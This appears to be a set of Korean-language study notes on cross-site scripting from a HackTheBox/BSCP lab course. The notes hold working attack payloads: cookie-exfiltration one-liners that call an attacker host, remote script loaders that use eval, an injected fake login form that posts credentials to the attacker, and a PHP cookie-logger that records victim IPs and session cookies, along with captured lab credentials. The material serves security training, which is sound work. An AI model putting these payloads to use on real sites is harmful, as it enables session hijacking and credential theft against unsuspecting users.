XSS

XSS(๊ต์ฐจ ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…)

Burp Suite Certified Practitioner (BSCP) XSS์— ๋Œ€ํ•œ ๋‚˜์˜ ์—ฐ๊ตฌ ๋…ธํŠธ

๋ช…๋ น

์•”ํ˜ธ

์„ค๋ช…

XSS ํŽ˜์ด๋กœ๋“œ

<script>alert(window.origin)</script>

๊ธฐ๋ณธ XSS ํŽ˜์ด๋กœ๋“œ XSS ํ…Œ์ŠคํŠธ ํŽ˜์ด๋กœ๋“œ

<script>alert(document.cookie)</script>

ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์œผ๋ ค๋ฉด ์œ„์—์„œ ์‚ฌ์šฉํ•œ ๊ฒƒ๊ณผ ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋˜, URL์„ ํ‘œ์‹œํ•˜๋Š” ๋Œ€์‹  ์ฟ ํ‚ค๋ฅผ ํ‘œ์‹œํ•˜๋„๋ก JavaScript ์ฝ”๋“œ๋ฅผ ๋ณ€๊ฒฝํ•˜์„ธ์š”.

<plaintext>

๊ธฐ๋ณธ XSS ํŽ˜์ด๋กœ๋“œ

http://94.237.62.82:55501/index.php?task=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

๋ฐฑ์—”๋“œ ์„œ๋ฒ„์—์„œ ์ฒ˜๋ฆฌ๋˜๋Š” ๋ฐ˜์‚ฌ XSS์™€ ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ ์™„์ „ํžˆ ์ฒ˜๋ฆฌ๋˜๊ณ  ๋ฐฑ์—”๋“œ ์„œ๋ฒ„์— ๋„๋‹ฌํ•˜์ง€ ์•Š๋Š” DOM ๊ธฐ๋ฐ˜ XSS์ž…๋‹ˆ๋‹ค.

<script>print()</script>

๊ธฐ๋ณธ XSS ํŽ˜์ด๋กœ๋“œ

<img src="" onerror=alert(window.origin)>

HTML ๊ธฐ๋ฐ˜ XSS ํŽ˜์ด๋กœ๋“œ

<img src="" onerror=alert(document.cookie)>

<script>document.body.style.background = "#141d2b"</script>

๋ฐฐ๊ฒฝ์ƒ‰ ๋ณ€๊ฒฝ

<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

๋ฐฐ๊ฒฝ ์ด๋ฏธ์ง€ ๋ณ€๊ฒฝ

<script>document.title = 'HackTheBox Academy'</script>

์›น์‚ฌ์ดํŠธ ์ œ๋ชฉ ๋ณ€๊ฒฝ

<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>

์›น์‚ฌ์ดํŠธ ๋ณธ๋ฌธ ๋ฎ์–ด์“ฐ๊ธฐ

<script>document.getElementById('urlform').remove();</script>

ํŠน์ • HTML ์š”์†Œ ์ œ๊ฑฐ

<script src="http://OUR_IP/script.js"></script>

์›๊ฒฉ ์Šคํฌ๋ฆฝํŠธ ๋กœ๋“œ

<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>

์šฐ๋ฆฌ์—๊ฒŒ ์ฟ ํ‚ค ์„ธ๋ถ€ ์ •๋ณด ๋ณด๋‚ด๊ธฐ

๋ช…๋ น

python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"

xsstrikeURL ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์‹คํ–‰

sudo nc -lvnp 80

netcat๋ฆฌ์Šค๋„ˆ ์‹œ์ž‘

sudo php -S 0.0.0.0:80

PHPํ”ผํ•ด์ž๊ฐ€ ๊ณต๊ฒฉ์ž๋กœ๋ถ€ํ„ฐ ์›๊ฒฉ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค .

XSS ์‹๋ณ„

XSS๋ฅผ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•œ ๋ณดํ˜ธ ๊ธฐ๋Šฅ์ด ์—†๋Š” ๋Œ€์ƒ์— ๋Œ€ํ•œ ๊ฐ„๋‹จํ•œ ํ…Œ์ŠคํŠธ ํŽ˜์ด๋กœ๋“œ: XSS ๊ฒ€์ƒ‰

<script>alert('pass')</script>

ํ”ผ์‹ฑ + XSS

ํ”ผ์‹ฑ

์„œ๋ฒ„์˜ '/phishing'์— ์žˆ๋Š” ์ด๋ฏธ์ง€ URL ํ˜•์‹์— ๋Œ€ํ•ด ์ž‘๋™ํ•˜๋Š” XSS ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š” http://10.129.63.83/phishing/index.php. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ์„น์…˜์—์„œ ๋ฐฐ์šด ๋‚ด์šฉ์„ ์‚ฌ์šฉํ•˜์—ฌ ์•…์„ฑ ๋กœ๊ทธ์ธ ์–‘์‹์„ ์‚ฝ์ž…ํ•˜๋Š” ์•…์„ฑ URL์„ ์ค€๋น„ํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๋‹ค์Œ '/phishing/send.php'๋ฅผ ๋ฐฉ๋ฌธํ•˜์—ฌ ํ”ผํ•ด์ž์—๊ฒŒ URL์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ํ”ผํ•ด์ž ์‚ฌ์šฉ์ž๋Š” ์•…์„ฑ ๋กœ๊ทธ์ธ ์–‘์‹์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ์ž‘์—…์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ˆ˜ํ–‰ํ–ˆ๋‹ค๋ฉด ํ”ผํ•ด์ž์˜ ๋กœ๊ทธ์ธ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋ฐ›์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํš๋“ํ•œ ํ”ผํ•ด์ž ๋กœ๊ทธ์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ '/phishing/login.php'์— ์ ‘๊ทผํ•˜๊ณ  ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”.

์•„๋ž˜ ์†Œ์Šค ์ฝ”๋“œ์—์„œ ํ™•์ธ๋œ XSS ์ฃผ์ž… ์ง€์ :

์•„๋ž˜์—์„œ๋Š” '>์†Œ์Šค ์ฝ”๋“œ img ํƒœ๊ทธ๋ฅผ ๋ถ„๋ฆฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

http://10.129.63.83/phishing/index.php?url=http://10.10.15.41/image.png'><script>alert('xss found')</script>

๋กœ๊ทธ์ธ ํผ ์ธ์ ์…˜ ํ”ผ์‹ฑ ๊ณต๊ฒฉ

<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>

์œ„๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹จ์ผ JavaScript ์ฟ ํ‚ค ์Šคํ‹ธ๋Ÿฌ๋ฅผ ํ•œ ์ค„๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

document.write('<h3>Please login to continue</h3><form action=http://10.10.15.41><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

ํ”ผํ•ด์ž๊ฐ€ ๋กœ๊ทธ์ธํ•˜๊ณ  ๋Œ€์‹  ์ž๊ฒฉ ์ฆ๋ช…์„ ์ œ๊ณตํ•˜๋„๋ก ๋Œ€์ƒ ๊ธฐ๋Šฅ ์ž…๋ ฅ ์ƒ์ž๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์†Œ์Šค ์ฝ”๋“œ์—์„œ ์ œ๊ฑฐํ•ด์•ผ ํ•  HTML ์š”์†Œ๋Š” ID์ž…๋‹ˆ๋‹ค urlform.

document.getElementById('urlform').remove();

์œ„์˜ ์ œ๊ฑฐ ๊ธฐ๋Šฅ์„ ๋‹จ์ผ ์˜จ๋ผ์ธ ํŽ˜์ด๋กœ๋“œ์™€ ๊ฒฐํ•ฉํ•ฉ๋‹ˆ๋‹ค.

<script>
document.write('<h3>Please login to continue</h3><form action=http://10.10.15.41><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
</script>
<!--

Exploit์„ ์‚ฌ์šฉํ•˜์—ฌ ํ”ผ์‹ฑ ๋งํฌ URL์„ ํ”ผํ•ด์ž์—๊ฒŒ ๋ณด๋ƒ…๋‹ˆ๋‹ค: http://10.129.63.83/phishing/send.php.

๋งํฌ๊ฐ€ ์ „์†ก๋˜๋ฉด kali ํ˜ธ์ŠคํŒ… python3 -m http.server 80์„œ๋น„์Šค๋Š” ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๊ณ  ์ •๋ณด๋ฅผ ์ž…๋ ฅํ•œ ํ”ผํ•ด์ž๋กœ๋ถ€ํ„ฐ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋ฐ›์Šต๋‹ˆ๋‹ค.

username=admin&password=p1zd0nt57341myp455

์ฟ ํ‚ค ๋„๋‘‘

BSCP ์—ฐ๊ตฌ ๋…ธํŠธ์—๋Š” ์ฟ ํ‚ค ์Šคํ‹ธ๋Ÿฌ ํŽ˜์ด๋กœ๋“œ ์˜ ๋งŽ์€ ์˜ˆ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ฟ ํ‚ค ์Šคํ‹ธ๋Ÿฌ(Cookie Stealer) ๊ณต๊ฒฉ์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆฌ๋Š” ์„ธ์…˜ ํ•˜์ด์žฌํ‚น(Session Hijacking) ์ž…๋‹ˆ๋‹ค.

๋Œ€์ƒ URL:http://10.129.63.83/hijacking/

๋Œ€์ƒ ์‘๋‹ต ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ์—ˆ์Šต๋‹ˆ๋‹ค An Admin will review your registration request..

์ƒ˜ํ”Œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํŽ˜์ด๋กœ๋“œ๋กœ ์ทจ์•ฝํ•œ ์ž…๋ ฅ ํ•„๋“œ๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.<script src="http://OUR_IP/username"></script>

์›๊ฒฉ JS ํŒŒ์ผ ํฌํ•จ

์•„๋ž˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์›๊ฒฉ JavaScript ํŒŒ์ผ์„ ์ด์Šค์ผ€์ดํ”„ํ•˜๊ณ  ๋กœ๋“œํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค .

<script src=http://10.10.15.41/1></script>
'><script src=http://10.10.15.41/2></script>
"><script src=http://10.10.15.41/3></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

์ด ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํฌํ•จ๋œ URL ํ•„๋“œ๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ์‹๋ณ„ํ–ˆ์Šต๋‹ˆ๋‹ค: "><script src=http://10.10.15.41/exploit.js></script>, ์›๊ฒฉ ์Šคํฌ๋ฆฝํŠธ ๋กœ๋“œ ์ค‘.

์„ธ์…˜ ํ•˜์ด์žฌํ‚น ๊ณต๊ฒฉ์€ ํ”ผ์‹ฑ ๊ณต๊ฒฉ๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž์—๊ฒŒ ํ•„์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๋ ค๋ฉด JavaScript ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํ•„์š”ํ•˜๊ณ , ์ „์†ก๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์บก์ฒ˜ํ•˜๊ณ  ๊ตฌ๋ฌธ ๋ถ„์„ํ•˜๋ ค๋ฉด ๊ณต๊ฒฉ ํ˜ธ์ŠคํŠธ์—์„œ ํ˜ธ์ŠคํŒ…๋˜๋Š” PHP ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ฟ ํ‚ค ์Šคํ‹ธ๋Ÿฌ ์„ค์ •

php -S 0.0.0.0:80Kali๋Š” ๋‹ค์Œ ๋‘ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜์—ฌ PHP ์„œ๋ฒ„๋ฅผ ํ˜ธ์ŠคํŒ…ํ•ฉ๋‹ˆ๋‹ค .

์†Œ์Šค ์ฝ”๋“œ exploit.js:

// document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://10.10.15.41/index.php?c='+document.cookie;

๋‹ค์Œ์— ๋Œ€ํ•œ PHP ์†Œ์Šค ์ฝ”๋“œ index.php:

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

Burp Suite ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋‚ด๊ณ  ๊ด€๋ฆฌ์ž๊ฐ€ ๋งค๊ฐœ imgurl=๋ณ€์ˆ˜์— ์ €์žฅ๋œ XSS ์ฟ ํ‚ค ์Šคํ‹ธ๋Ÿฌ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํฌํ•จ๋œ ํŽ˜์ด์ง€ ๋“ฑ๋ก์„ ๊ฒ€ํ† ํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๊ณ  PHP ์ต์Šคํ”Œ๋กœ์ž‡ ์„œ๋น„์Šค๊ฐ€ ๊ด€๋ฆฌ์ž ์ฟ ํ‚ค ๊ฐ’์„ ์ˆ˜์‹ ํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.

๋„๋‚œ๋‹นํ•œ ์ฟ ํ‚ค ๊ฐ’์„ ์ˆ˜์‹ ํ•˜์—ฌ cookies.txtํŒŒ์ผ์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

Victim IP: 10.129.34.48 | Cookie: cookie=c00k1355h0u1d8353cu23d

๊ทธ๋Ÿฐ ๋‹ค์Œ ์ €์žฅ๋œ ์ฟ ํ‚ค ๊ฐ’์„ ๋ธŒ๋ผ์šฐ์ € ์„ธ์…˜์— ์‚ฌ์šฉํ•˜์—ฌ http://victim.htb/login.php์•ก์„ธ์Šคํ•˜์„ธ์š”.

๊ต์ • ๋ฐ ์˜ˆ๋ฐฉ ๋ณด์•ˆ ์ฝ”๋”ฉ ๊ด€ํ–‰

XSS ๊ธฐ์ˆ  ํ‰๊ฐ€

ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ… XSS ๊ธฐ์ˆ  ํ‰๊ฐ€

ํ‰๊ฐ€ ๋ธ”๋กœ๊ทธ์— ๋Œ“๊ธ€์„ ๊ฒŒ์‹œํ•˜๋ฉด ๋ฉ”์‹œ์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค Your comment is awaiting moderation..

์ฐธ์กฐ: PayloadALLTheThings XSS ์ฃผ์ž…

๋ธ”๋ผ์ธ๋“œ XSS ๊ฐ์ง€

๋ธ”๋ผ์ธ๋“œ XSS ์ทจ์•ฝ์ ์€ ์šฐ๋ฆฌ๊ฐ€ ์•ก์„ธ์Šคํ•  ์ˆ˜ ์—†๋Š” ํŽ˜์ด์ง€์—์„œ ์ทจ์•ฝ์ ์ด ํŠธ๋ฆฌ๊ฑฐ๋  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

Blind XSS๋ฅผ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ ํ…Œ์ŠคํŠธ - ์›๊ฒฉ ์Šคํฌ๋ฆฝํŠธ ๋กœ๋“œ:

<script src=http://10.10.15.41></script>
'><script src=http://10.10.15.41></script>
"><script src=http://10.10.15.41></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://10.10.15.41\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//10.10.15.41");a.send();</script>
<script>$.getScript("http://10.10.15.41")</script>

์„ฑ๊ณต์ ์ธ ํŽ˜์ด๋กœ๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค.'><script src=http://10.10.15.41></script>

์„ธ์…˜ ํ•˜์ด์žฌํ‚น

์›๊ฒฉ ๊ณต๊ฒฉ JavaScript ์Šคํฌ๋ฆฝํŠธ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ์„ธ์…˜ ํ•˜์ด์žฌํ‚น

'><script src=http://10.10.15.41/exploit.js></script>

๊ด€๋ฆฌ์ž ์ค‘์žฌ์ž์˜ ์ฟ ํ‚ค๋ฅผ ํ›”์น˜๊ธฐ ์œ„ํ•ด ๋ธ”๋ผ์ธ๋“œ XSS ์ฃผ์ž…์„ ์ œ์ถœํ•ฉ๋‹ˆ๋‹ค.

์ฟ ํ‚ค ์Šคํ‹ธ๋Ÿฌ๋Š” 'ํ”Œ๋ž˜๊ทธ' ์ฟ ํ‚ค์˜ ๊ฐ’์„ ํš๋“ํ–ˆ์Šต๋‹ˆ๋‹ค.

๋„๋‚œ๋‹นํ•œ ์ฟ ํ‚ค์˜ ๊ฒฐ๊ณผ๋Š” ํŒŒ์ผ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค cat cookies.txt.

Last updated